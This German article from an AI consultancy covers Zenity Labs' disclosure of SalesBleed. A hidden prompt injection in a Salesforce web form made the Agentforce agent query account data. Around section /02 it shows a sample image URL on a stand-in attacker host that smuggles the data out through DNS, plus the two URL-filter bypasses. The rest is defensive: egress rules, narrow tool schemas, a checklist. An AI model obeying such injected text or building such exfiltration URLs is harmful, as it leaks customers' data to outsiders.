Zum Inhalt springen
Alle Systeme betriebsbereitKI-GlossarRegion Oberfrankenhostspezial.de
09571 873149 KI-Schnellcheck →
← Zurück zur Übersicht News

SalesBleed: Ein Webformular genügt — was Agentforce über Ihre eigenen Agenten lehrt

Zenity Labs hat am 24. September 2026 drei inzwischen behobene Lücken in Salesforce Agentforce offengelegt: Eine präparierte Lead-Anfrage brachte den Agenten dazu, Kundendaten abzufragen und über eine Bild-URL per DNS nach außen zu tragen — ohne Klick. Der Fall ist kein Salesforce-Problem, sondern das Muster jedes Agenten, der Fremdeingaben liest, interne Daten erreicht und nach außen rendern darf. Ehrlich: Ein Prompt-Filter hätte das nicht verhindert; eine Egress-Regel schon.

Kategorie NewsStand 15.10.2026Lesezeit 17 Min.Quellen 4 Primärbelege
Das Wichtigste in Kürze
  • SalesBleed umfasst drei Lücken in Salesforce Agentforce, die Zenity Labs am 1. Juni 2026 gemeldet, Salesforce bis zum 21. September 2026 geschlossen und Zenity am 24. September 2026 veröffentlicht hat.
  • Der Einstieg war ein öffentliches Web-to-Lead-Formular: Versteckte Anweisungen in einem Lead brachten den General-CRM-Subagenten dazu, die Accounts-Tabelle abzufragen, obwohl der Mitarbeiter nur Leads prüfen wollte.
  • Der Abfluss lief ohne Klick über ein HTML-Bild-Tag, dessen Hostname die Daten trug; die Chat-Oberfläche lud das Bild und löste damit die DNS-Anfrage beim Angreifer aus — in Slack reichte die Link-Vorschau.
  • Die URL-Sperre von Salesforce scheiterte an zwei Randfällen: Die Endung .fun galt nicht als Hostname, und geschweifte Klammern wurden anders beurteilt als vom Browser gerendert.
  • Jeder eigene Agent, der ungeprüfte Fremdeingaben liest, interne Daten erreicht und nach außen rendern oder senden kann, hat dieselbe Angriffsfläche — unabhängig vom Modell dahinter.
KI-Transparenzhinweis: Dieser Beitrag wurde teilweise mit Unterstützung von KI-Systemen erstellt und vor der Veröffentlichung redaktionell geprüft. Kennzeichnung gemäß EU-KI-Verordnung (Verordnung (EU) 2024/1689).

/01Was Zenity Labs am 24. September veröffentlicht hat

Am 24. September 2026 hat Zenity Labs unter dem Namen SalesBleed drei Schwachstellen in Salesforce Agentforce beschrieben. Die Forscher Alex Apostolov, João Donato, Avishai Efrat und Ayush RoyChowdhury hatten die Funde am 1. Juni 2026 an Salesforce gemeldet; Salesforce bestätigte am 2. Juni die Untersuchung, am 17. Juni lief die Behebung. Am 18. August waren die Korrekturen der Exfiltrationskette bestätigt, am 19. August prüfte Zenity die gehärtete URL-Sperre nach, am 20. August die Zuordnung der Slack-Aktion zum auslösenden Nutzer, und am 21. September 2026 landete die letzte Änderung: die Bestätigungspflicht für die Slack-Antwortaktion. Erst danach ging der Bericht online.

Zwei der drei Lücken ergeben zusammen eine Kette, die Zenity als Zero-Click-Datenabfluss bezeichnet: eine indirekte Prompt Injection über ein öffentliches Web-to-Lead-Formular und ein Abfluss über gerenderte Bild-URLs, der die URL-Sperre von Salesforce („Trusted URLs") umging. Die dritte Lücke betraf die Vorlage des Slack-Knowledge-Subagenten: Die Aktion „Reply to a Slack Thread" verschickte Nachrichten ohne Bestätigung und ohne Hinweis, welcher Nutzer den Agenten angestoßen hatte — ein Werkzeug für Phishing aus dem eigenen Haus. CVE-Nummern hat Salesforce nicht vergeben; alle drei Punkte sind nach Angaben von Zenity behoben.

Die Nachricht ist nicht, dass ein großer CRM-Hersteller eine Lücke hatte. Die Nachricht ist, wie klein der Angriff war: ein Formular, das jede Website hat, ein Agent mit Leserechten, die er für seine Aufgabe braucht, und eine Oberfläche, die Bilder lädt. Keine der drei Komponenten war für sich falsch konfiguriert.

/02Die Angriffskette in drei Schritten

Schritt 1 — Einschleusen. Web-to-Lead ist die Standardfunktion, mit der ein Kontaktformular auf der Website direkt einen Lead im CRM anlegt. Der Angreifer füllt das Formular aus und legt in ein Textfeld Anweisungen an den Agenten. Niemand muss das lesen; der Lead liegt im System und wartet.

Schritt 2 — Auslösen. Ein Mitarbeiter bittet den Agenten, seine neuen Leads zusammenzufassen. Der General-CRM-Subagent in der Standardkonfiguration liest den Lead, trifft auf die eingebetteten Anweisungen und folgt ihnen. Sein Werkzeug „Query Records" hatte Leserechte auf die Tabellen Leads und Accounts — also fragte er die Accounts ab, obwohl der Mitarbeiter nur Leads sehen wollte. Im Nachweis von Zenity waren das Firmennamen und Dealgrößen; die Injektion hätte alles abrufen können, was das Werkzeug erreicht.

Schritt 3 — Abfließen. Der Agent gibt die Daten nicht als Text aus, sondern baut sie in den Hostnamen eines Bild-Tags ein, sinngemäß <img src="https://Acme-712412.<angreifer>.oast.fun/…">. Die Chat-Oberfläche rendert externe Bildquellen ohne Nachfrage, der Browser löst den Hostnamen auf, und die DNS-Anfrage mit dem Firmennamen im Subdomain-Teil landet beim Nameserver des Angreifers. In Slack entfällt sogar das Rendern: Die automatische Link-Vorschau (Unfurling) ruft die URL ab. Der Mitarbeiter sieht ein kaputtes Bild oder gar nichts.

Merksatz: Zero-Click heißt hier nicht „kein Nutzer beteiligt", sondern „der Nutzer tut etwas Harmloses" — er lässt sich Leads zusammenfassen. Die Bestätigung, die ein Sicherheitskonzept vorsieht, wurde nie abgefragt, weil keine Aktion stattfand, die als riskant galt.

/03Warum die Trusted-URL-Prüfung nicht gehalten hat

Salesforce hatte genau für diesen Fall eine Schutzschicht: Vor der Anzeige werden URLs aus Agentenantworten entfernt, die nicht auf einer Vertrauensliste stehen. Zenity fand zwei Randfälle, in denen die Prüfung eine URL nicht als URL erkannte, der Browser aber schon.

  • Unbekannte Endung. Die Erkennung arbeitete mit einer festen Liste von Top-Level-Domains. Eine Adresse auf .fun galt nicht als Hostname und blieb stehen.
  • Abschlusszeichen. Geschweifte und eckige Klammern beendeten für die Prüfung die URL, für den Browser nicht. https://…oast.fun/{email} wurde nicht geschwärzt, aber vollständig aufgerufen.

Beide Fehler haben dieselbe Ursache: Zwei Komponenten — Prüfung und Darstellung — hatten unterschiedliche Vorstellungen davon, was eine URL ist. Dieses Muster ist älter als Sprachmodelle; aus Webanwendungen kennt man es als Parser-Differential. Neu ist nur, dass die Komponente, die den Text schreibt, selbst von außen gesteuert werden kann. Das Modell hat die URL nicht erfunden, es hat sie aus der Injektion übernommen und mit Daten gefüllt.

In der Praxis: Eine Sperrliste für URLs in Modellausgaben verliert immer gegen den nächsten Randfall. Was hält, ist eine Positivliste auf Netzebene — dazu gleich mehr.

/04Drei Bedingungen, die jeden Agenten verwundbar machen

Streichen Sie Salesforce aus der Geschichte und es bleibt ein Bauplan, der auf jeden selbst gebauten Agenten passt. Verwundbar ist ein Agent, wenn drei Bedingungen gleichzeitig gelten:

  1. Er liest ungeprüfte Fremdeingaben. Webformulare, eingehende E-Mails, Support-Tickets, PDF-Anhänge, Webseiten, Kalendereinladungen — alles, was ein Außenstehender schreiben kann, ist eine mögliche Injektion. Das gilt auch für Inhalte, die über RAG aus einem Dokumentenbestand kommen, in den jemand von außen schreiben konnte.
  2. Er erreicht interne Daten. Ein Werkzeug mit Leserecht auf eine Tabelle, einen Mailserver, ein Wiki, eine Vektordatenbank. Je breiter das Recht, desto größer die Beute. Der Agentforce-Agent brauchte Leads, hatte aber auch Accounts.
  3. Er kann nach außen rendern oder senden. Jede Ausgabe, die in einem Browser angezeigt wird, kann Bilder laden. Jedes Werkzeug, das eine URL abruft, eine Mail schickt oder eine Slack-Nachricht postet, ist ein Kanal nach draußen.

Die meisten Agenten im Mittelstand erfüllen Bedingung 1 und 2 schon am ersten Tag, weil genau das ihr Zweck ist: externe Anfragen gegen interne Daten beantworten. Bedingung 3 erfüllen sie oft unbemerkt — die Chat-Oberfläche rendert Markdown, und Markdown kann Bilder. Wer die drei Bedingungen für seinen Agenten durchgeht, hat die Angriffsfläche in einer Viertelstunde benannt. Das Modell dahinter spielt dafür keine Rolle: Ein Sprachmodell mit 27 Milliarden Parametern im eigenen Rack folgt einer gut formulierten Injektion ebenso wie ein Frontier-Modell in der Cloud. Der Unterschied liegt in dem, was um das Modell herum gebaut ist.

Wer die drei Bedingungen nicht aus dem Kopf beantworten kann, braucht eine Bestandsaufnahme der Agenten, ihrer Werkzeuge und ihrer Ausgangskanäle. Agent Governance — Werkzeugrechte, Freigabestufen und Protokollpflichten für Agenten, die produktiv laufen.

/05Fünf Gegenmaßnahmen für selbst gebaute Agenten

Die Reihenfolge ist bewusst: Erst die Maßnahmen, die unabhängig vom Modell wirken, dann die, die das Modell einbeziehen. Eine Leitplanke im Prompt steht nicht auf der Liste — sie hilft gegen plumpe Injektionen und versagt gegen die nächste Formulierung.

1. Egress-Allowlist auf Netzebene

Der Host, auf dem der Agent und seine Werkzeuge laufen, darf nur die Ziele erreichen, die er für seine Aufgabe braucht: das CRM, das Wiki, den Modellendpunkt. Alles andere wird verworfen — auch DNS. Eine DNS-Anfrage an einen beliebigen Nameserver ist ein Ausgangskanal; der Agenten-Host spricht nur mit dem internen Resolver, und der löst nur Namen auf, die auf der Liste stehen. Gegen den SalesBleed-Abfluss hätte das genügt, unabhängig davon, ob die URL-Sperre den Randfall erkannt hätte.

2. Kein Rendering externer Bilder in Agentenantworten

Die Chat-Oberfläche lädt keine Bildquellen außerhalb der eigenen Domain. Markdown-Bilder und HTML-Bild-Tags in Modellausgaben werden in Text umgewandelt oder entfernt. Das ist eine Zeile in der Ausgabeverarbeitung und schließt den Kanal, über den SalesBleed, der ältere Bing-Chat-Fall und zahlreiche Funde in Coding-Assistenten gelaufen sind. Für Oberflächen, die Sie nicht selbst bauen — Slack, Teams, E-Mail-Clients — gilt: Der Agent gibt dort keine URLs aus, die nicht auf einer Positivliste stehen.

3. Trennung von Lese- und Schreibwerkzeugen

Ein Agent, der Leads zusammenfasst, bekommt ein Werkzeug, das Leads liest — nicht eines, das „Records" liest. Werkzeuge, die nach außen wirken (Mail senden, Slack posten, Webhook aufrufen), gehören in einen eigenen Agenten mit eigener Freigabestufe. Im Werkzeugaufruf steht das Recht im Schema, nicht in der Hoffnung, dass das Modell es schon richtig macht. Wer MCP-Server anbindet, prüft deren Werkzeugliste genauso: Ein Server mit zwölf Werkzeugen, von denen der Agent zwei braucht, ist zehn Werkzeuge zu breit.

4. Mensch vor Versand

Jede Aktion, die Daten verlässt oder verändert, wartet auf eine Bestätigung — und die Bestätigung zeigt, was genau gesendet wird, an wen, und wer den Agenten angestoßen hat. Genau diese beiden Punkte fehlten in der Slack-Aktion von Agentforce. Human-in-the-Loop ist kein Komfortmerkmal, sondern die Stelle, an der eine Injektion sichtbar wird, bevor sie wirkt.

5. Audit-Log mit Werkzeugaufrufen und Ausgaben

Protokolliert werden Eingabequelle, System-Prompt-Version, jeder Werkzeugaufruf mit Parametern, jede Ausgabe und jede ausgehende Verbindung des Hosts. Ohne dieses Protokoll wissen Sie nach einem Vorfall nicht, welche Leads die Injektion trugen und welche Datensätze abgefragt wurden. Mit Protokoll ist der Vorfall in einer Stunde eingegrenzt; der SalesBleed-Abfluss hätte in den DNS-Logs des Resolvers gestanden.

Ob die fünf Maßnahmen bei Ihrem Agenten wirklich greifen, zeigt nur ein Test, der die Injektion durchspielt — vom Formular bis zum DNS-Paket. KI-Pentest — Prompt Injection, Datenabfluss und Werkzeugmissbrauch gegen Ihren Agenten, mit Bericht und Nachtest.

/06Egress-Regel und Werkzeugschema in der Praxis

Zwei Bausteine, die sich in einem Nachmittag umsetzen lassen. Erstens die Netzregel auf dem Agenten-Host (nftables, Linux). Der Host darf den internen Resolver, den Modellendpunkt und das CRM erreichen — sonst nichts. Namen statt Adressen gehören in den vorgeschalteten Proxy; auf Paketebene zählen Adressen und Ports.

# /etc/nftables.d/agent-egress.nft — Agenten-Host 10.20.30.10
table inet agent_egress {
  chain output {
    type filter hook output priority 0; policy drop;
    ct state established,related accept
    oif lo accept
    # nur der interne Resolver darf DNS beantworten
    ip daddr 10.20.0.53 udp dport 53 accept
    ip daddr 10.20.0.53 tcp dport 53 accept
    # Modellendpunkt (vLLM) und CRM-API
    ip daddr 10.20.40.11 tcp dport 8000 accept
    ip daddr 10.20.50.20 tcp dport 443 accept
    # alles andere protokollieren und verwerfen
    log prefix "agent-egress-drop " limit rate 10/minute
    counter drop
  }
}

Prüfen Sie die Regel, bevor Sie sich auf sie verlassen: nft list ruleset zeigt den Stand, dig @1.1.1.1 example.com vom Agenten-Host aus muss scheitern, und der Eintrag agent-egress-drop muss im Journal auftauchen. Ein Ausgangsfilter, den niemand getestet hat, ist eine Vermutung.

Zweitens das Werkzeugschema. Das Werkzeug beschreibt, was es darf — und der Code dahinter setzt es durch, nicht das Modell. Das Beispiel ist ein Schema im Stil von Function Calling, wie es vLLM und die gängigen Agenten-Frameworks entgegennehmen:

{
  "type": "function",
  "function": {
    "name": "leads_lesen",
    "description": "Liest Leads der letzten N Tage. Nur Lesen, nur Tabelle Leads, nur eigene Zuständigkeit.",
    "parameters": {
      "type": "object",
      "properties": {
        "tage": { "type": "integer", "minimum": 1, "maximum": 30 },
        "felder": {
          "type": "array",
          "items": { "type": "string", "enum": ["firma", "name", "quelle", "erstellt_am", "status"] }
        }
      },
      "required": ["tage"],
      "additionalProperties": false
    }
  }
}

Der Handler hinter leads_lesen läuft mit einem API-Schlüssel, der auf der CRM-Seite nur Leserecht auf Leads hat — nicht auf Accounts, nicht auf Contacts. Felder wie „Notizen" oder „Beschreibung", in denen Formulartext landet, werden dem Modell als Daten mit Herkunftsmarkierung übergeben, nicht als Teil des Prompts. Und das Werkzeug slack_antworten existiert in diesem Agenten gar nicht; es gehört in einen zweiten Agenten, dessen Aufrufe ein Mensch freigibt.

/07Was der Fall nicht beweist — Grenzen und Fallstricke

SalesBleed beweist nicht, dass Agenten im CRM eine schlechte Idee sind. Der Agent tat, was er sollte, in einer Umgebung, deren Annahmen nicht zusammenpassten. Wer daraus den Schluss zieht, Agenten von Kundendaten fernzuhalten, löst das Problem nicht — die Mitarbeiter kopieren die Leads dann in einen externen Chatbot, und damit ist die Angriffsfläche größer, nicht kleiner.

Die fünf Maßnahmen schließen die Injektion nicht. Sie schließen die Folgen. Das Modell wird weiter Anweisungen aus Fremdtext befolgen; das ist kein Fehler, den ein Hersteller mit dem nächsten Release behebt, sondern eine Eigenschaft der Architektur, die das BSI schon 2023 so beschrieben hat. Die Maßnahmen sorgen dafür, dass ein befolgter Befehl keinen Weg nach draußen und keine Daten außerhalb der Aufgabe findet.

Eine Egress-Allowlist bremst. Ein Agent, der Webrecherche machen soll, verträgt keine Positivliste mit drei Einträgen. Dann gehört die Recherche in einen eigenen Agenten ohne Zugriff auf interne Daten, und die Ergebnisse wandern als Daten — nicht als Anweisungen — zum zweiten. Wer beides in einem Agenten will, hat die drei Bedingungen aus Abschnitt /04 wieder vollständig erfüllt.

Werkzeugschemata sind nur so eng wie der Code dahinter. Ein Schema mit enum-Feldern nützt nichts, wenn der Handler die Werte in eine SOQL- oder SQL-Abfrage klebt. Die Rechte müssen auf der Datenseite enden: eigener Schlüssel, eigene Rolle, eigene Tabelle.

Und die Ausgabe ist nicht der einzige Kanal. Ein Agent mit Schreibrecht auf einen Kalender kann Daten in einen Termin schreiben, den ein externer Teilnehmer sieht. Ein Agent mit Mailrecht kann sie in einen Betreff setzen. Jede Senke zählt — nicht nur Bilder. Die Positivliste gilt für Ziele, nicht für Protokolle.

Wie die Schutzschichten gegen Prompt Injection grundsätzlich zusammenwirken und warum keine davon allein reicht, steht in Prompt-Injection abwehren — Schutzschichten und in Prompt Injection 2026: Warum sie unlösbar ist — und was schützt.

/08Entscheidung: Wer jetzt handeln muss und wer nicht

Sofort handeln muss, wer einen Agenten betreibt, der Formulare, Tickets oder eingehende Mails liest und dessen Antworten in einem Browser oder in Slack und Teams angezeigt werden. Das ist in den meisten Häusern der Support-Agent, der Vertriebsassistent oder der Posteingangs-Sortierer. Prüfen Sie zuerst Bedingung 3: Rendert die Oberfläche externe Bilder? Darf der Host beliebige DNS-Anfragen stellen? Beides lässt sich an einem Tag abstellen, ohne den Agenten zu verändern.

In den nächsten Wochen handeln sollte, wer Agenten mit Orchestrierung über mehrere Werkzeuge betreibt — ein Agent plant, andere führen aus. Hier ist die Trennung von Lese- und Schreibwerkzeugen die Maßnahme mit der größten Wirkung, und sie erfordert eine Entscheidung über Rollen, die Fachbereich und IT gemeinsam treffen müssen. Die Frage „Welcher Agent darf nach außen senden?" ist keine Formsache.

Nicht handeln muss, wer Sprachmodelle ausschließlich mit internen, kuratierten Daten betreibt — etwa einen Chat über das eigene Qualitätshandbuch, ohne Werkzeuge und ohne Fremdeingaben. Dort fehlt Bedingung 1. Dieser Zustand hält allerdings selten lange: Der erste Wunsch nach „auch die Kundenmails durchsuchen" bringt die Fremdeingabe ins System. Planen Sie die Egress-Regel also schon jetzt ein, auch wenn sie heute noch nichts zu tun hat.

Für ein Haus mit einem On-Premise-Modell im eigenen Rack ändert sich an der Bewertung nichts: Dass das Modell nicht in der Cloud steht, verhindert keine Injektion und keinen Abfluss über die Chat-Oberfläche. Es verschiebt nur, wo die Egress-Regel stehen muss — und die steht dann auf Hardware, die Sie selbst kontrollieren. Das ist ein Vorteil, aber nur, wenn jemand die Regel schreibt.

Wenn der Agent nicht nur lesen, sondern Vorgänge anstoßen soll, braucht er von Anfang an die Trennung der Werkzeuge und eine Freigabestufe vor jedem Versand. KI-Agenten für Unternehmen — Agenten mit Werkzeugschema, Egress-Kontrolle und Audit-Log, im Rechenzentrum in Coburg oder auf Ihrer Hardware.

/09Prüfliste für die nächsten 30 Tage

Prüfpunkte, abgeleitet aus der SalesBleed-Kette
FrageWoran Sie es erkennenMaßnahme, wenn „ja"
Liest der Agent Text, den Außenstehende schreiben?Formular, Ticket, Mail, PDF, Webseite, offener Wiki-BereichEingabe als Daten markieren, Herkunft protokollieren
Hat ein Werkzeug mehr Leserechte als die Aufgabe braucht?„Query Records" statt „Leads lesen"; ein Schlüssel für allesEigener Schlüssel je Werkzeug, Rechte auf der Datenseite
Rendert die Oberfläche externe Bilder?Markdown-Bild mit fremder Domain wird angezeigtBilder nur von eigener Domain, Rest in Text wandeln
Darf der Host beliebige DNS-Anfragen stellen?dig @1.1.1.1 vom Host aus funktioniertNur interner Resolver, Positivliste im Resolver
Kann der Agent ohne Bestätigung senden?Mail, Slack, Webhook, Kalender ohne FreigabedialogSchreibwerkzeuge in eigenen Agenten, Mensch vor Versand
Steht der auslösende Nutzer in jeder Nachricht?Slack-Post kommt „vom Agenten", nicht „von Frau Müller via Agent"Attribution erzwingen
Können Sie den Weg einer Injektion nachvollziehen?Kein Protokoll der Werkzeugaufrufe mit ParameternAudit-Log: Eingabe, Werkzeug, Ausgabe, Verbindung

Sieben Fragen, sieben Antworten mit Ja oder Nein. Wer mehr als zwei Ja ohne Maßnahme zählt, hat die Agentforce-Konfiguration vom Mai 2026 nachgebaut — nur ohne das Sicherheitsteam, das die Meldung von Zenity in elf Wochen abgearbeitet hat. Die Red-Teaming-Frage, die Sie sich stellen sollten, lautet nicht „Kann jemand unser Modell austricksen?", sondern „Was passiert, wenn es ihm gelingt?". Die Antwort steht in der Egress-Regel. Wie ein Gateway diese Regel für mehrere Agenten zentral durchsetzt, beschreibt MCP-Gateway: Egress-Kontrolle und Credential-Injection; den Zero-Click-Fall in KI-Browsern vom August behandelt PleaseFix: Zero-Click-Hijacking in allen KI-Browsern.

/10Quellen & Primärbelege

Alle Zahlen, Einordnungen und Quellenangaben in diesem Beitrag wurden vor der Veröffentlichung gegen die folgenden Primärquellen geprüft.

  1. Zenity Labs: SalesBleed — Indirect Prompt Injection and 0-Click Data Exfiltration on Agentforce Originalbericht vom 24.09.2026: Web-to-Lead-Injektion, General-CRM-Subagent und Query-Records-Werkzeug, Bild-Tag- und Slack-Unfurling-Abfluss, die zwei Trusted-URL-Randfälle (.fun, Klammern), Zeitleiste 01.06. bis 19.08.2026; abgerufen am 11.10.2026.
  2. Zenity Labs: SalesBleed — Anonymous Phishing via Agentforce in Slack Dritte Lücke: Aktion „Reply to a Slack Thread" ohne Bestätigung und Attribution; Korrekturen 20.08. und 21.09.2026, Veröffentlichung 24.09.2026; abgerufen am 11.10.2026.
  3. OWASP GenAI: LLM01:2025 Prompt Injection Definition der indirekten Prompt Injection und die sieben Gegenmaßnahmen, darunter Least Privilege, Human-in-the-Loop und Trennung externer Inhalte; abgerufen am 11.10.2026.
  4. BSI: Basisschutz gegen Indirect Prompt Injections in dokumentbasierten LLM-Chats, Version 1.0 vom 14.09.2026 Einleitung mit Verweis auf die BSI-Einschätzung von 2023 (keine vollständige Gegenmaßnahme) und Basismaßnahme 2.5 Egress-Filter: Markdown-Bilder, HTML-Bild-Tags, Positivliste für URLs; abgerufen am 11.10.2026.

/11Häufige Fragen

Betrifft SalesBleed uns, wenn wir gar kein Salesforce einsetzen?

Ja, wenn Sie einen eigenen Agenten betreiben, der Fremdeingaben liest, interne Daten erreicht und Antworten in einem Browser oder in Slack und Teams anzeigt. Die drei Salesforce-Lücken sind behoben; das Muster dahinter steckt in jedem Agenten mit dieser Kombination. Prüfen Sie die drei Bedingungen aus dem Artikel für jeden Ihrer Agenten einzeln.

Reicht ein Hinweis im System-Prompt, Anweisungen aus Dokumenten zu ignorieren?

Nein. Solche Hinweise helfen gegen plumpe Injektionen und versagen gegen die nächste Formulierung, weil das Modell Anweisung und Daten im selben Kontext sieht. Verlassen Sie sich auf Maßnahmen, die unabhängig vom Modell wirken: Egress-Allowlist, kein Rendering externer Bilder, getrennte Werkzeuge, Bestätigung vor Versand und ein Audit-Log.

Warum ist DNS ein Abflusskanal, wenn der Host gar keine Webseiten aufrufen darf?

Weil die Daten im Hostnamen stecken. Bevor irgendein HTTP-Paket geht, fragt der Browser oder der Host den Nameserver nach „firmenname-dealgroesse.angreifer.fun" — und diese Anfrage kommt beim Angreifer an, selbst wenn die eigentliche Verbindung danach blockiert wird. Deshalb darf der Agenten-Host nur mit dem internen Resolver sprechen, und der löst nur erlaubte Namen auf.

Wir nutzen ein lokales Modell im eigenen Rack — sind wir damit außen vor?

Nein. Der Standort des Modells ändert nichts an der Injektion und nichts am Abfluss über die Chat-Oberfläche. Der Vorteil ist, dass Egress-Regel, Proxy und Protokollierung auf Ihrer Hardware liegen und Sie sie ohne Abstimmung mit einem Cloud-Anbieter setzen können. Dieser Vorteil wird erst zum Schutz, wenn die Regel tatsächlich geschrieben und getestet ist.

Wie trennen wir Lese- und Schreibwerkzeuge, ohne zwei Systeme zu betreiben?

Zwei Agentenrollen auf demselben System genügen: Eine liest und fasst zusammen, die andere sendet und wird nur mit einem bestätigten, vollständig angezeigten Auftrag aufgerufen. Technisch sind das zwei Werkzeuglisten, zwei Schlüssel und ein Freigabeschritt dazwischen. Die meisten Agenten-Frameworks und MCP-Gateways unterstützen diese Trennung ohne zusätzlichen Server.

Was gehört ins Audit-Log, damit wir einen Vorfall rekonstruieren können?

Die Quelle und der Zeitpunkt jeder Eingabe, die Version des System-Prompts, jeder Werkzeugaufruf mit Parametern und Ergebnisgröße, die vollständige Ausgabe und die ausgehenden Verbindungen des Hosts einschließlich DNS. Mit diesen fünf Spuren lässt sich ein Fall wie SalesBleed innerhalb einer Stunde auf die betroffenen Leads und Datensätze eingrenzen. Ohne sie bleibt nur die Vermutung.

Wie lange hat Salesforce für die Behebung gebraucht?

Zenity meldete am 1. Juni 2026; die Exfiltrationskette war am 18. August bestätigt behoben, die Zuordnung der Slack-Aktion am 20. August, die Bestätigungspflicht am 21. September. Die Veröffentlichung folgte am 24. September 2026. Elf bis sechzehn Wochen für drei zusammenhängende Lücken in einem Produkt dieser Größe ist ein geordneter Ablauf — rechnen Sie bei eigenen Agenten mit kürzeren Wegen, aber auch mit weniger Personal.

Herausgeber

ki·spezial-Redaktion — ki·spezial ist die On-Premise-KI-Marke der HostSpezial GmbH, Lichtenfels, zertifiziert nach ISO/IEC 27001:2024. Fachliche Prüfung und Freigabe dieses Beitrags liegen bei der Redaktion. Impressum · Kontakt

MEHRVerwandte Artikel

Weiterlesen zum gleichen Thema.

$ related --articles
// nächster schritt

Prüfen Sie Ihren Agenten, bevor es ein Formular tut.

Ein KI-Pentest spielt die SalesBleed-Kette gegen Ihren Agenten durch: Injektion über die echten Eingabekanäle, Werkzeugrechte, Rendering, DNS-Abfluss. Sie bekommen einen Bericht mit Befunden, Egress-Regeln und einem Nachtest. KI-Pentest für Agenten und LLM-Anwendungen — auf Ihrer Hardware oder im Rechenzentrum in Coburg.

Beratung und Betrieb aus Lichtenfels · Teil der HostSpezial GmbH

$ nft list table inet agent_egress
KI-Pentest anfragen → 09571 873149 Termin vereinbaren
30 Minuten, unverbindlich und direkt mit einem technischen Ansprechpartner. Drei Sätze zur Ausgangslage genügen; aus der Anfrage entsteht keine Verpflichtung.